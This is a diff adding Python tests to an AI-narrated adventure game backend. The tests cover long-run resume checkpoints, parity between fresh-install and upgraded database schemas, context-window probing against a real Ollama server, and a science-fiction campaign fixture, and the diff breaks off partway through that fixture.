+    assert "memories_in_bank=0" in lr._activation_shortfall(
+        _with_adv(run_for(Reports(log, memories=0, summaries=2))))
+    assert lr._activation_shortfall(
+        _with_adv(run_for(Reports(log, memories=3, summaries=1)))) is None
+
+
+def _with_adv(run):
+    run.adv = 1
+    return run
+
+
+# ------------------------------------------------------- what M04 actually proved
+
+def test_the_m04_verdict_never_credits_a_planted_turn_still_in_the_window():
+    base = {"planted_turn_in_history_window": False, "in_memories_section": False,
+            "in_summary_section": False, "in_state_section": False,
+            "clue_in_recent_history_window": False}
+    assert lr._m04_verdict({**base, "planted_turn_in_history_window": True,
+                            "in_memories_section": True}) == "precondition_not_met"
+    assert lr._m04_verdict({**base, "planted_turn_in_history_window": None,
+                            "in_state_section": True}) == "precondition_unknown"
+    assert lr._m04_verdict({**base, "in_memories_section": True}) == \
+        "recovered_through_memory_or_summary"
+    assert lr._m04_verdict({**base, "in_summary_section": True}) == \
+        "recovered_through_memory_or_summary"
+    assert lr._m04_verdict({**base, "in_state_section": True}) == \
+        "recovered_through_state_only"
+    assert lr._m04_verdict(base) == "not_recovered"
+
+
+def test_the_sentinel_in_recent_history_does_not_decide_the_precondition():
+    """The M04 re-run: the narrator reused the sentinel in its own prose while
+    the planted turn was 65 actions outside the window."""
+    recall = {"planted_turn_in_history_window": False,
+              "clue_in_recent_history_window": True,
+              "in_memories_section": False, "in_summary_section": False,
+              "in_state_section": True}
+    assert lr._m04_verdict(recall) == "recovered_through_state_only"
+
+
+def test_the_planted_depth_survives_a_resume(run_for, tmp_path):
+    first = run_for(Reports(tmp_path / "server.log"))
+    first.adv, first.planted_depth = 1, 1
+    first.save_resume()
+
+    second = run_for(Reports(tmp_path / "server.log"))
+    second.adopt(json.loads((tmp_path / lr.RESUME_FILE).read_text()))
+    assert second.planted_depth == 1
+
+
+def test_protocol_left_in_stored_narration_is_counted():
+    bundle = {"actions": [
+        {"id": 1, "type": "do", "text": '> You say {"events": []}'},
+        {"id": 2, "type": "ai", "text": "The rain eases."},
+        {"id": 3, "type": "ai", "text": "Beat.\n\nWho and what exists:\n  mara: Mara"},
+        {"id": 4, "type": "ai", "text": 'Beat.\n\n> {"events": []}'},
+        {"id": 5, "type": "ai",
+         "text": "Rain.\n\n## Established:\n  the crypt is sealed (SENTINEL)"},
+        {"id": 6, "type": "ai", "text": "The notice read:\n\nHeld:\nnothing at all."},
+    ]}
+    assert lr._protocol_leaks(bundle) == {
+        "ai_actions": 5, "leaking": 3, "example_ids": [3, 4, 5]}

backend/tests/test_m11_long_run_resume.py

@@ -0,0 +1,225 @@
+"""The long run's resume checkpoint, and the refusals that protect its evidence.
+
+M11's release campaign was lost twice over: once to a host crash at turn 97, and
+again to the fact that starting the harness a second time began a new campaign
+rather than continuing the old one. `tools/m11_long_run.py` now checkpoints
+`resume.json` and can be pointed back at it.
+
+These tests exercise that logic without a narrator, a server or a database,
+because none of it needs one: the checkpoint is a file, and the decisions made
+around it are decisions about files. What they cannot prove is that a resumed
+campaign continues correctly against a real application — that is what the run
+itself proves, and §G of the M11 report is where it is reported.
+"""
+import json
+
+import pytest
+
+from tools import m11_long_run as lr
+
+
+class FakeServer:
+    """Enough of `Storyteller` for the checkpoint: it records process starts."""
+
+    def __init__(self, starts=1):
+        self.starts = starts
+
+
+@pytest.fixture
+def run(tmp_path):
+    made = lr.Run(FakeServer(), tmp_path, turns_target=100)
+    yield made
+    made.timeline.close()
+
+
+# --------------------------------------------------------------- checkpoint
+
+def test_a_checkpoint_carries_what_a_resume_needs(run, tmp_path):
+    run.adv = 7
+    run.accepted = 41
+    run.beat = 44
+    run.completed_steps = {7, 14, 21}
+    run.save_resume()
+
+    saved = json.loads((tmp_path / lr.RESUME_FILE).read_text())
+    assert saved["adventure"] == 7
+    assert saved["accepted"] == 41
+    assert saved["beat"] == 44
+    assert saved["completed_steps"] == [7, 14, 21]
+    assert saved["server_starts"] == 1
+    assert saved["turns_target"] == 100
+
+
+def test_the_checkpoint_is_replaced_rather_than_appended(run, tmp_path):
+    run.adv = 7
+    run.accepted = 1
+    run.save_resume()
+    run.accepted = 2
+    run.save_resume()
+
+    assert json.loads((tmp_path / lr.RESUME_FILE).read_text())["accepted"] == 2
+    # The temporary name it is written under must not survive the rename.
+    assert not (tmp_path / (lr.RESUME_FILE + ".tmp")).exists()
+
+
+def test_a_checkpoint_round_trips_into_a_later_session(run, tmp_path):
+    run.adv = 7
+    run.accepted = 41
+    run.beat = 44
+    run.completed_steps = {7, 14}
+    run.elapsed_before = 100
+    run.save_resume()
+    saved = json.loads((tmp_path / lr.RESUME_FILE).read_text())
+
+    later = lr.Run(FakeServer(starts=3), tmp_path, turns_target=100)
+    try:
+        later.adopt(saved)
+        assert later.adv == 7
+        assert later.accepted == 41
+        assert later.beat == 44
+        assert later.completed_steps == {7, 14}
+        assert later.resumed is True
+        # Run time accumulates across sessions rather than restarting.
+        assert later.elapsed_before >= 100
+        assert later.elapsed() >= 100
+    finally:
+        later.timeline.close()
+
+
+def test_a_resumed_session_appends_to_the_existing_timeline(run, tmp_path):
+    run.adv = 7
+    run.note("turn", text="the first session")
+    run.timeline.close()
+
+    later = lr.Run(FakeServer(), tmp_path, turns_target=100)
+    try:
+        later.note("resumed", adventure=7)
+    finally:
+        later.timeline.close()
+
+    lines = (tmp_path / "timeline.jsonl").read_text().strip().splitlines()
+    assert [json.loads(line)["kind"] for line in lines] == ["turn", "resumed"]
+
+
+# ------------------------------------------------------------- the decision
+
+def test_a_clean_directory_starts_a_run(tmp_path):
+    assert lr._resume_state(
+        tmp_path / lr.RESUME_FILE, tmp_path / "timeline.jsonl", False) is None
+
+
+def test_an_unfinished_run_is_not_overwritten(tmp_path):
+    resume_path = tmp_path / lr.RESUME_FILE
+    resume_path.write_text(json.dumps({"adventure": 7, "accepted": 41}))
+
+    refusal = lr._resume_state(resume_path, tmp_path / "timeline.jsonl", False)
+    assert isinstance(refusal, str)
+    assert "--resume" in refusal
+
+
+def test_a_recorded_run_with_no_checkpoint_is_not_reused(tmp_path):
+    """A run that recorded something and then died before its first checkpoint.
+    Starting here would put a second campaign in the same timeline."""
+    timeline = tmp_path / "timeline.jsonl"
+    timeline.write_text(json.dumps({"kind": "settings"}) + "\n")
+
+    refusal = lr._resume_state(tmp_path / lr.RESUME_FILE, timeline, False)
+    assert isinstance(refusal, str)
+    assert "second campaign" in refusal
+
+
+def test_a_run_that_recorded_nothing_leaves_the_directory_usable(tmp_path):
+    """A server that never came up opens the timeline and writes no line to it.
+    Nothing was written that a fresh run could collide with."""
+    (tmp_path / "timeline.jsonl").write_text("")
+
+    assert lr._resume_state(
+        tmp_path / lr.RESUME_FILE, tmp_path / "timeline.jsonl", False) is None
+
+
+def test_resuming_returns_the_checkpoint(tmp_path):
+    resume_path = tmp_path / lr.RESUME_FILE
+    resume_path.write_text(json.dumps({"adventure": 7, "accepted": 41}))
+
+    prior = lr._resume_state(resume_path, tmp_path / "timeline.jsonl", True)
+    assert prior["adventure"] == 7
+    assert prior["accepted"] == 41
+
+
+def test_resuming_nothing_is_refused_rather_than_started_fresh(tmp_path):
+    refusal = lr._resume_state(
+        tmp_path / lr.RESUME_FILE, tmp_path / "timeline.jsonl", True)
+    assert isinstance(refusal, str)
+    assert "no resume.json" in refusal
+
+
+def test_an_unreadable_checkpoint_is_refused(tmp_path):
+    resume_path = tmp_path / lr.RESUME_FILE
+    resume_path.write_text("{not json")
+
+    refusal = lr._resume_state(resume_path, tmp_path / "timeline.jsonl", True)
+    assert isinstance(refusal, str)
+    assert "cannot read" in refusal
+
+
+def test_a_checkpoint_naming_no_campaign_is_refused(tmp_path):
+    resume_path = tmp_path / lr.RESUME_FILE
+    resume_path.write_text(json.dumps({"accepted": 41}))
+
+    refusal = lr._resume_state(resume_path, tmp_path / "timeline.jsonl", True)
+    assert isinstance(refusal, str)
+    assert "names no campaign" in refusal
+
+
+# ----------------------------------------------------------------- timeouts
+
+def test_the_harness_waits_longer_than_the_application_does(tmp_path):
+    """Otherwise the socket closes before the application can report the failure
+    inside the stream, and a real error is recorded as a transport one."""
+    server = lr.Storyteller(tmp_path / "campaign.db", tmp_path / "server.log",
+                            turn_timeout=1800)
+    assert server.stream_timeout > server.turn_timeout
+
+
+def test_the_default_timeout_is_inside_the_settings_bound():
+    """`app/schemas.py` bounds model_timeout_seconds at 30..3600."""
+    assert 30 <= lr.DEFAULT_TURN_TIMEOUT <= 3600
+
+
+# ----------------------------------------------------------------- schedule
+
+def test_every_scheduled_operation_has_its_own_turn(tmp_path):
+    """The steps are keyed by turn number, which is what lets a completed one be
+    remembered across a resume: two are called `retry` and two `restart`, so a
+    name does not identify one."""
+    plan = lr._schedule(100)
+    assert len(plan) == len(set(plan)) == 12
+    assert sorted(plan)[0] >= 1
+    assert max(plan) < 100
+    names = list(plan.values())
+    assert names.count("restart") == 2
+    assert names.count("retry") == 2
+
+
+# --------------------------------------------------------------- the clue
+
+def test_the_planted_clue_uses_a_field_add_fact_actually_carries():
+    """M04's state half turns on the clue text reaching the stored fact.
+
+    `add_fact` requires `predicate` and accepts `subject`, `object`, `value` and
+    `fact_id`. A key it does not define is dropped, and the correction still
+    succeeds — so a clue planted into the wrong key leaves a fact asserting
+    nothing, and `_recall` reports a recall failure the application did not
+    cause. This test fails against the `detail` key that used to be sent.
+    """
+    from app.narrative.events import SPECS
+
+    spec = SPECS["add_fact"]
+    allowed = {"type"} | set(spec["required"]) | set(spec["optional"])
+    assert set(lr.CLUE_FACT) <= allowed, (
+        f"{set(lr.CLUE_FACT) - allowed} is not carried by add_fact")
+
+
+def test_the_planted_clue_carries_the_sentinel_recall_looks_for():
+    assert lr.CLUE_SENTINEL in lr.CLUE_FACT["value"]
+    assert lr.CLUE in lr.CLUE_FACT["value"]

backend/tests/test_m11_migration.py

@@ -0,0 +1,293 @@
+"""M11 §17: a fresh install and an upgraded database must be the same product.
+
+M10 found the defect this file makes permanent. It shipped a `CREATE INDEX`
+migration for an index `create_all` already built from the column, so an
+*upgraded* database ended up with two indexes and a fresh one with a single
+index — two schemas differing by which path the file took, which is the thing a
+migration exists to prevent. Nothing found it except comparing the two.
+
+So the comparison is the test, and it is written to be general rather than about
+`visual_profiles`: every table, every column with its type and nullability,
+every index and its uniqueness, every foreign key, and the version stamp. A
+future migration that diverges the two paths fails here whatever it is about.
+
+The second half is the upgrade itself: a database built by the **previous
+supported build** — M10's schema, version 92 — opened by this one, and then
+played, exported and imported, because a migration that leaves a campaign
+unplayable has not worked.
+
+    python -m pytest tests/test_m11_migration.py -v
+"""
+
+import json
+import sqlite3
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+import pytest
+from sqlalchemy import create_engine, inspect, text
+from sqlalchemy.orm import sessionmaker
+
+from app import backup, migrations, models
+from app.database import Base
+
+BACKEND = Path(__file__).resolve().parent.parent
+
+#: The schema M10 shipped: everything this build has, minus what M11 added.
+#: Expressed as the inverse of M11's own migrations, which is what
+#: `schema_rewind` does for the suite generally — repeated here as data so this
+#: file states plainly what "the previous supported build" means.
+M10_VERSION = 92
+M11_ADDITIONS = (("adventures", "narration_length"),)
+
+
+def _describe(engine) -> dict:
+    """Everything about a schema that two databases could disagree about."""
+    inspector = inspect(engine)
+    out: dict = {"tables": {}}
+    for table in sorted(inspector.get_table_names()):
+        if table.startswith("sqlite_"):
+            continue
+        columns = {
+            c["name"]: {
+                "type": str(c["type"]),
+                "nullable": bool(c["nullable"]),
+                # `default` is rendered differently by different paths (a Python
+                # default never reaches the DDL), so it is deliberately not
+                # compared; `nullable` and type are what a query can depend on.
+            }
+            for c in inspector.get_columns(table)
+        }
+        indexes = {
+            i["name"]: {"columns": list(i["column_names"]),
+                        "unique": bool(i.get("unique"))}
+            for i in inspector.get_indexes(table)
+        }
+        foreign_keys = sorted(
+            (tuple(fk["constrained_columns"]), fk["referred_table"],
+             tuple(fk["referred_columns"]))
+            for fk in inspector.get_foreign_keys(table)
+        )
+        out["tables"][table] = {
+            "columns": columns, "indexes": indexes, "foreign_keys": foreign_keys,
+            "primary_key": inspector.get_pk_constraint(table).get(
+                "constrained_columns", []),
+        }
+    with engine.begin() as conn:
+        out["version"] = conn.execute(text("PRAGMA user_version")).scalar()
+    return out
+
+
+@pytest.fixture()
+def fresh(tmp_path):
+    """A database as a new installation creates one."""
+    path = tmp_path / "fresh.db"
+    engine = create_engine(f"sqlite:///{path}")
+    migrations.bootstrap(engine)
+    yield path, engine
+    engine.dispose()
+
+
+@pytest.fixture()
+def upgraded(tmp_path):
+    """A database as the previous supported build left it, then opened by this one.
+
+    Built by creating the current schema, removing what M11 added, and stamping
+    the version M10 ended on — which is what an M10-era file *is*, since M10
+    added no migration of its own.
+    """
+    path = tmp_path / "upgraded.db"
+    older = create_engine(f"sqlite:///{path}")
+    Base.metadata.create_all(bind=older)
+    with sessionmaker(bind=older)() as db:
+        # Owned by the implicit local user, which is the row `auth.local_user`
+        # resolves to — an email-less, non-guest user. A campaign owned by
+        # nobody would not be listed by the server, and the test would be
+        # measuring ownership rather than migration.
+        owner = models.User(is_guest=False, email=None)
+        db.add(owner)
+        db.flush()
+        adventure = models.Adventure(title="An M10 campaign", user_id=owner.id)
+        db.add(adventure)
+        db.flush()
+        branch = models.Branch(adventure_id=adventure.id, parent_branch_id=None,
+                               fork_depth=None, lineage=[])
+        db.add(branch)
+        db.flush()
+        adventure.head_branch_id = branch.id
+        adventure.head_depth = 0
+        db.add(models.Action(adventure_id=adventure.id, type="start",
+                             text="Written before M11 existed.",
+                             branch_id=branch.id, depth=0))
+        db.add(models.Checkpoint(adventure_id=adventure.id, name="Old point",
+                                 branch_id=branch.id, depth=0))
+        db.commit()
+        adv_id = adventure.id
+    with older.begin() as conn:
+        for table, column in M11_ADDITIONS:
+            conn.execute(text(f"ALTER TABLE {table} DROP COLUMN {column}"))
+        conn.execute(text(f"PRAGMA user_version = {M10_VERSION}"))
+    older.dispose()
+
+    engine = create_engine(f"sqlite:///{path}")
+    yield path, engine, adv_id
+    engine.dispose()
+
+
+# ------------------------------------------------------ the parity comparison
+
+def test_the_two_paths_produce_the_same_schema(fresh, upgraded):
+    """M10's defect, as a permanent release regression."""
+    fresh_path, fresh_engine = fresh
+    up_path, up_engine, _ = upgraded
+    migrations.bootstrap(up_engine)
+
+    a, b = _describe(fresh_engine), _describe(up_engine)
+    assert set(a["tables"]) == set(b["tables"]), (
+        sorted(set(a["tables"]) ^ set(b["tables"])))
+    for table in sorted(a["tables"]):
+        assert a["tables"][table] == b["tables"][table], (
+            f"{table} differs between a fresh install and an upgrade:\n"
+            f"fresh:    {json.dumps(a['tables'][table], indent=2, sort_keys=True)}\n"
+            f"upgraded: {json.dumps(b['tables'][table], indent=2, sort_keys=True)}"
+        )
+    assert a["version"] == b["version"] == migrations.LATEST_VERSION
+
+
+def test_no_table_carries_a_duplicate_index(fresh):
+    """The specific shape of M10's defect: two indexes over the same columns."""
+    _, engine = fresh
+    described = _describe(engine)
+    for table, shape in described["tables"].items():
+        seen: dict[tuple, str] = {}
+        for name, index in shape["indexes"].items():
+            key = (tuple(index["columns"]), index["unique"])
+            assert key not in seen, (
+                f"{table}: {name} duplicates {seen[key]} over {key[0]}")
+            seen[key] = name
+
+
+def test_every_table_the_models_declare_exists(fresh):
+    """A missing table is the other way this can go wrong (`visual_profiles`)."""
+    _, engine = fresh
+    have = set(inspect(engine).get_table_names())
+    declared = set(Base.metadata.tables)
+    assert declared <= have, sorted(declared - have)
+    assert "visual_profiles" in have
+    assert "narration_length" in {
+        c["name"] for c in inspect(engine).get_columns("adventures")}
+
+
+# -------------------------------------------------------------- the upgrade
+
+def test_an_m10_database_upgrades_without_losing_anything(upgraded):
+    path, engine, adv_id = upgraded
+    migrations.bootstrap(engine)
+    with engine.begin() as conn:
+        assert conn.execute(text("SELECT title FROM adventures")).scalar() == (
+            "An M10 campaign")
+        assert conn.execute(text("SELECT text FROM actions")).scalar() == (
+            "Written before M11 existed.")
+        assert conn.execute(text("SELECT name FROM checkpoints")).scalar() == "Old point"
+        assert conn.execute(text("PRAGMA foreign_key_check")).fetchall() == []
+        assert conn.execute(text("PRAGMA quick_check")).scalar() == "ok"
+
+
+def test_the_new_column_arrives_with_the_value_that_means_no_choice(upgraded):
+    """M11's migration, and why it needs no backfill.
+
+    An empty narration length is not a missing value: it is the campaign saying
+    nothing about length, which is exactly what a campaign created before the
+    setting existed did say. `length_hint` treats it as it treated everything
+    before M11, so no existing campaign's prompt changes under the upgrade.
+    """
+    path, engine, adv_id = upgraded
+    migrations.bootstrap(engine)
+    with engine.begin() as conn:
+        assert conn.execute(text("SELECT narration_length FROM adventures")).scalar() == ""
+
+
+def test_opening_an_upgraded_database_repeatedly_changes_nothing(upgraded):
+    path, engine, _ = upgraded
+    migrations.bootstrap(engine)
+    first = _describe(engine)
+    for _ in range(3):
+        migrations.bootstrap(engine)
+    assert _describe(engine) == first
+
+
+def test_a_migrated_database_still_plays_and_still_travels(upgraded, tmp_path):
+    """A migration that leaves a campaign unopenable has not worked.
+
+    Played through a real server process against the migrated file, because the
+    claim is about the file rather than about an ORM session.
+    """
+    sys.path.insert(0, str(BACKEND / "tests"))
+    from test_process_restart import Server, _free_port
+
+    path, engine, adv_id = upgraded
+    migrations.bootstrap(engine)
+    engine.dispose()
+
+    server = Server(str(path), _free_port())
+    try:
+        server.wait_until_ready()
+        listed = server.call("GET", "/adventures", expect=200)
+        assert any(a["title"] == "An M10 campaign" for a in listed)
+        server.call("POST", f"/adventures/{adv_id}/state/corrections", {
+            "events": [{"type": "create_entity", "entity": "aldric",
+                        "entity_type": "character", "name": "Aldric"}],
+            "note": "after the migration",
+        }, expect=201)
+        bundle = server.call("GET", f"/adventures/{adv_id}/export", expect=200)
+        assert bundle["format"] == "ai-dnd-adventure-v3"
+        copy = server.call("POST", "/adventures/import", bundle, expect=201)
+        state = server.call("GET", f"/adventures/{copy['id']}/state", expect=200)
+        assert state["document"]["entities"]["aldric"]["name"] == "Aldric"
+    finally:
+        server.stop()
+
+
+def test_a_backup_of_the_migrated_database_verifies(upgraded):
+    """M9's backup, on a file M11 changed the schema of."""
+    path, engine, _ = upgraded
+    migrations.bootstrap(engine)
+    engine.dispose()
+    result = backup.create(path)
+    try:
+        assert result.integrity == "ok"
+        with sqlite3.connect(f"file:{result.path}?mode=ro", uri=True) as copy_db:
+            assert copy_db.execute("PRAGMA quick_check").fetchone()[0] == "ok"
+            assert copy_db.execute(
+                "SELECT narration_length FROM adventures").fetchone()[0] == ""
+            assert copy_db.execute("PRAGMA user_version").fetchone()[0] == (
+                migrations.LATEST_VERSION)
+    finally:
+        result.path.unlink(missing_ok=True)
+
+
+def test_a_fresh_install_creates_a_database_from_nothing(tmp_path):
+    """§17's first case, through a real process rather than through the ORM."""
+    sys.path.insert(0, str(BACKEND / "tests"))
+    from test_process_restart import Server, _free_port
+
+    path = tmp_path / "new" / "campaign.db"
+    path.parent.mkdir()
+    server = Server(str(path), _free_port())
+    try:
+        server.wait_until_ready()
+        assert path.exists(), "no database was created"
+        created = server.call("POST", "/adventures",
+                              {"title": "Brand new", "opening": "Rain."}, expect=201)
+        assert created["narration_length"] == ""
+    finally:
+        server.stop()
+    with sqlite3.connect(f"file:{path}?mode=ro", uri=True) as db:
+        assert db.execute("PRAGMA user_version").fetchone()[0] == (
+            migrations.LATEST_VERSION)
+        tables = {r[0] for r in db.execute(
+            "SELECT name FROM sqlite_master WHERE type='table'")}
+    assert {"adventures", "actions", "visual_profiles", "summaries",
+            "knowledge_sources"} <= tables

backend/tests/test_m11_real_window.py

@@ -0,0 +1,178 @@
+"""M11 §E: the context-window fix, against a real Ollama rather than a fake one.
+
+`test_m11_context_window.py` proves the arithmetic and the enforcement with a
+mocked server, which is the right place for those. This file answers the
+question that a mock cannot: **does the probe read a real Ollama correctly?** The
+shapes it parses — `/api/ps`'s `context_length`, `/api/show`'s plain-text
+parameter block — are Ollama's, not ours, and a mock built from a misreading of
+them would agree with itself forever.
+
+It also demonstrates the sequence a reader actually experiences on a server whose
+model has no `num_ctx` baked in:
+
+    turn 1   the model is not resident; the window cannot be verified; the
+             turn proceeds and is recorded as unverified
+    turn 2   the model is resident, `/api/ps` reports the real window, and the
+             budget is capped to it from here on
+
+Skipped unless an endpoint is configured, so the ordinary suite stays local,
+deterministic and offline. The endpoint is read from the environment and never
+written down here.
+
+    AIDND_TEST_ENDPOINT=https://<host>:<port>/v1 \\
+    AIDND_TEST_MODEL=qwen2.5:3b-instruct \\
+    python -m pytest tests/test_m11_real_window.py -v -s
+"""
+
+import asyncio
+import os
+
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+
+from app import auth, contextwindow, limits, models
+from app.database import Base, SessionLocal, engine, get_db
+from app.main import app
+
+ENDPOINT = os.environ.get("AIDND_TEST_ENDPOINT", "")
+MODEL = os.environ.get("AIDND_TEST_MODEL", "")
+#: A second model, with a larger window baked in, when the server has one. The
+#: contrast between the two is the whole point of the M8 finding.
+WIDE_MODEL = os.environ.get("AIDND_TEST_WIDE_MODEL", "")
+
+pytestmark = pytest.mark.skipif(
+    not (ENDPOINT and MODEL),
+    reason="set AIDND_TEST_ENDPOINT and AIDND_TEST_MODEL to run against a real server",
+)
+
+
+@pytest.fixture(autouse=True)
+def _clear():
+    contextwindow.cache_clear()
+    yield
+    contextwindow.cache_clear()
+
+
+@pytest.fixture()
+def client(monkeypatch):
+    Base.metadata.create_all(bind=engine)
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="m11real@example.com")
+    setup.add(user)
+    setup.flush()
+    setup.add(models.Settings(
+        user_id=user.id, model=MODEL, endpoint_url=ENDPOINT, embedding_model="",
+        context_token_budget=16384, max_output_tokens=400,
+        model_timeout_seconds=300,
+    ))
+    adventure = models.Adventure(
+        user_id=user.id, title="Real window",
+        campaign_canon={"rules": ["The abbey seal has never been broken."]},
+    )
+    setup.add(adventure)
+    setup.flush()
+    setup.add(models.Action(
+        adventure_id=adventure.id, type="start",
+        text="Rain over Westhaven, and the abbey bell tolling."))
+    setup.commit()
+    adv_id, user_id = adventure.id, user.id
+    setup.close()
+    monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    test_client = TestClient(app)
+    test_client.adv_id = adv_id
+    try:
+        yield test_client
+    finally:
+        app.dependency_overrides.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+def _snapshot(adv_id) -> dict:
+    from sqlalchemy.orm import undefer
+
+    with SessionLocal() as db:
+        action = (
+            db.query(models.Action)
+            .filter(models.Action.adventure_id == adv_id, models.Action.type == "ai")
+            .options(undefer(models.Action.context_snapshot))
+            .order_by(models.Action.id.desc()).first()
+        )
+    return action.context_snapshot if action else {}
+
+
+def _play(client, text) -> None:
+    response = client.post(f"/api/adventures/{client.adv_id}/actions",
+                           json={"type": "do", "text": text})
+    assert response.status_code == 200, response.text[:400]
+
+
+def test_the_probe_reads_this_server(capsys):
+    """Records what this deployment actually reports. Evidence, not a threshold."""
+    window = asyncio.run(contextwindow.probe(ENDPOINT, MODEL, use_cache=False))
+    with capsys.disabled():
+        print(f"\n  model      {MODEL}")
+        print(f"  tokens     {window.tokens}")
+        print(f"  source     {window.source}")
+        print(f"  model max  {window.model_max}")
+        print(f"  detail     {window.detail}")
+    # Either answer is legitimate — what is not legitimate is a crash, a guess,
+    # or a claim that cannot be traced to something the server said.
+    assert window.source in (contextwindow.LOADED, contextwindow.PARAMETERS,
+                             contextwindow.UNKNOWN)
+    if window.verified:
+        assert window.tokens >= 512
+        if window.model_max:
+            assert window.tokens <= window.model_max
+
+
+def test_a_real_turn_is_capped_to_what_this_server_gives(client, capsys):
+    """The sequence a reader sees, and the cap arriving with residency."""
+    _play(client, "I climb the abbey steps and look back at the town.")
+    first = _snapshot(client.adv_id)["window"]
+
+    # The model is resident now, so the second turn's probe can read /api/ps.
+    contextwindow.cache_clear()
+    _play(client, "I try the crypt door.")
+    second = _snapshot(client.adv_id)
+    window, tokens = second["window"], second["tokens"]
+
+    with capsys.disabled():
+        print(f"\n  turn 1 window   verified={first['verified']} "
+              f"tokens={first['tokens']} source={first['source']}")
+        print(f"  turn 2 window   verified={window['verified']} "
+              f"tokens={window['tokens']} source={window['source']}")
+        print(f"  budget          configured={tokens['configured_budget']} "
+              f"effective={tokens['budget']}")
+        print(f"  prompt          {tokens['total']} tokens "
+              f"+ {tokens['output_reserve']} reserved")
+
+    assert window["verified"], (
+        "the model has been served a turn, so /api/ps should now report its "
+        f"window: {window['detail']}"
+    )
+    # The invariant, on a real server: what was assembled fits what it accepts.
+    assert tokens["budget"] == min(tokens["configured_budget"], window["tokens"])
+    assert tokens["total"] + tokens["output_reserve"] <= window["tokens"]
+
+
+@pytest.mark.skipif(not WIDE_MODEL, reason="set AIDND_TEST_WIDE_MODEL")
+def test_a_model_with_a_baked_window_reports_the_larger_one(capsys):
+    """The operator's fix, seen from the application.
+
+    A model created with `num_ctx` baked in reports the larger window through
+    the same path, so the difference between a deployment that has applied
+    DEVELOPMENT.md's fix and one that has not is visible to the application
+    rather than only to whoever reads the server logs.
+    """
+    narrow = asyncio.run(contextwindow.probe(ENDPOINT, MODEL, use_cache=False))
+    wide = asyncio.run(contextwindow.probe(ENDPOINT, WIDE_MODEL, use_cache=False))
+    with capsys.disabled():
+        print(f"\n  {MODEL:28} {narrow.tokens} ({narrow.source})")
+        print(f"  {WIDE_MODEL:28} {wide.tokens} ({wide.source})")
+    assert wide.verified and wide.tokens >= 8192
+    if narrow.verified:
+        assert wide.tokens > narrow.tokens

backend/tests/test_m11_scifi.py

@@ -0,0 +1,291 @@
+"""M11 §15 / J01-J03: the same engine, a different genre, no different code.
+
+`TEST-CAMPAIGN-FIXTURE.md` §31 specifies the Persephone Test as the counterpart
+to the fantasy Continuity Test, and the claim it exists to check is a structural
+one rather than a literary one: **changing genre is configuration, not a code
+path**. M5 spent a milestone removing the RPG shape from the state model, and the
+way that stays true is a fixture that would fail if any fantasy assumption came
+back — a `character`/`location`/`item` triad that cannot hold a ship, a
+corporation or an orbital station, a canon check that only understands magic, a
+retrieval path tuned to fantasy nouns.
+
+So this file plays the science-fiction fixture through the *same* endpoints,
+the *same* state model, the *same* prompt builder and the *same* bundle as the
+fantasy one, and asserts on the parts a genre could plausibly break.
+
+The canon is the fixture's, including the three hard-technology rules, and the
+run includes the fixture's stated purposes: generic entities, hard canon,
+possession, character knowledge and reference retrieval.
+
+    python -m pytest tests/test_m11_scifi.py -v
+"""
+
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+
+from app import auth, limits, memorybank, models
+from app.database import Base, SessionLocal, engine, get_db
+from app.knowledge import embeddings
+from app.main import app
+from app.narrative import events as narrative_events
+from app.routers import adventures
+
+from fakes import ScriptedProvider, state_block
+
+#: §31's canon, verbatim in substance.
+CANON = [
+    "FTL does not exist.",
+    "Persephone is a fusion-powered survey ship.",
+    "Artificial gravity is available only through thrust or rotation.",
+    "Dr. Vale has never visited Europa.",
+    "The encrypted data crystal belongs to Captain Imani.",
+]
+
+#: §31's cast, and the reason the fixture exists: five different entity types,
+#: none of which is a fantasy noun.
+CAST = [
+    ("imani", "character", "Captain Imani"),
+    ("vale", "character", "Dr. Vale"),
+    ("persephone", "vehicle", "Persephone"),
+    ("ceres", "location", "Ceres Station"),
+    ("europa", "location", "Europa"),
+    ("crystal", "item", "encrypted data crystal"),
+    ("helios", "organization", "Helios Dynamics"),
+]
+
+REFERENCE_MD = """# Survey ship operations
+
+## Spin gravity
+
+A survey ship of Persephone's class produces gravity by rotating its habitat
+ring. Under thrust the same effect comes from acceleration. There is no other
+source of gravity aboard.
+
+## Data crystals
+
+An encrypted data crystal is keyed to one bearer and cannot be read by anyone
+else without the bearer's authorisation.
+"""
+
+
+class Stub:
+    async def complete(self, system, prompt, **kwargs):
+        return "A memory of the transit."
+
+    async def embed(self, texts):
+        return [
+            [1.0,
+             1.0 if "gravity" in t.lower() or "rotation" in t.lower() else 0.0,
+             1.0 if "crystal" in t.lower() else 0.0]
+            for t in texts
+        ]
+
+
+@pytest.fixture()
+def client(monkeypatch):
+    Base.metadata.create_all(bind=engine)
+    memorybank._vector_cache.clear()
+    embeddings._cache.clear()
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="m11sf@example.com")
+    setup.add(user)
+    setup.flush()
+    setup.add(models.Settings(
+        user_id=user.id, model="test-model", embedding_model="embed-test",
+        context_token_budget=6000, max_output_tokens=400, memory_top_k=3,
+    ))
+    setup.commit()
+    user_id = user.id
+    setup.close()
+    monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
+    monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
+    monkeypatch.setattr(memorybank, "embedding_provider", lambda s: Stub())
+    monkeypatch.setattr(memorybank, "summary_provider", lambda s: Stub())
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    test_client = TestClient(app)
+    try:
+        yield test_client
+    finally:
+        app.dependency_overrides.clear()
+        adventures.turns._active_turns.clear()
+        memorybank._vector_cache.clear()
+        embeddings._cache.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+def play(client, adv, text, events=None, prose="The ring turns, and the stars with it."):
+    ScriptedProvider.replies = [f"{prose}\n{state_block(events or [])}"]
+    response = client.post(f"/api/adventures/{adv}/actions",
+                           json={"type": "do", "text": text})
+    assert response.status_code == 200, response.text[:400]
+    return response
+
+
+@pytest.fixture()
+def persephone(client):
+    """The fixture campaign, created and played through the ordinary API."""
+    created = client.post("/api/adventures", json={
+        "title": "Persephone Test",
